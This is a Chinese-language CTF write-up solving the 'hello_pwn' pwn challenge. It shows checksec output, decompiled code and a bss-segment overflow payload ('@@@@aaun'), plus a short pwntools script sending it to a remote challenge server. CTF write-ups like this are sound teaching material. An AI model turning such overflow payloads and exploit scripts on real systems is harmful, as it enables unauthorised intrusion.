攻防世界 hello_pwn

📅9/1/2021, 12:00:00 AM

题目

题目来源: NUAACTF

题目描述:pwn!,segment fault!菜鸡陷入了深思

审题

  • segment fault

有关。

题解

checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

逆向

main

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 16uLL);
  if ( dword_60106C == 'nuaa' )
    sub_400686();
  return 0LL;
}
  1. 用户输入的内容储存为unk_601068

  2. dword_60106C等于”nuaa“时,执行函数sub_400686

sub400686

__int64 sub_400686()
{
  system("cat flag.txt");
  return 0LL;
}

执行此函数即可得到 Flag。

二进制分析

bss 段溢出

.bss:0000000000601068 unk_601068      db    ? ;               ; DATA XREF: main+3B↑o
.bss:0000000000601069                 db    ? ;
.bss:000000000060106A                 db    ? ;
.bss:000000000060106B                 db    ? ;
.bss:000000000060106C dword_60106C    dd ?                    ; DATA XREF: main+4A↑r
.bss:000000000060106C _bss            ends

unk_601068dword_60106C同在 bss 段中,可构造 payload 实现 bss 段溢出攻击。

ida64_o3qGIxHuWN

选中unk_601068的区域,右键,复制大小。

其容量为4,需要写4个字符的内容来将其填充满,再写入dword_60106C所需要的内容。

checksec 阶段得知本程序是小端架构,所以需要将”nuaa“倒序。

payload:@@@@aaun

Exp

from pwn import *


def main():
    io = remote('111.200.241.244', 64589)
    payload = '@'*4 + 'aaun'
    io.sendline(payload.encode())
    print(io.recvall().decode())


if __name__ == '__main__':
    main()

总结

  1. 通过简单逆向了解程序工作流程。
  2. 发现得到 Flag 需要满足特定条件。
  3. 通过 bss 段溢出达成条件。

This 

post

 by Yingjie Shang is licensed under 

CC BY 4.0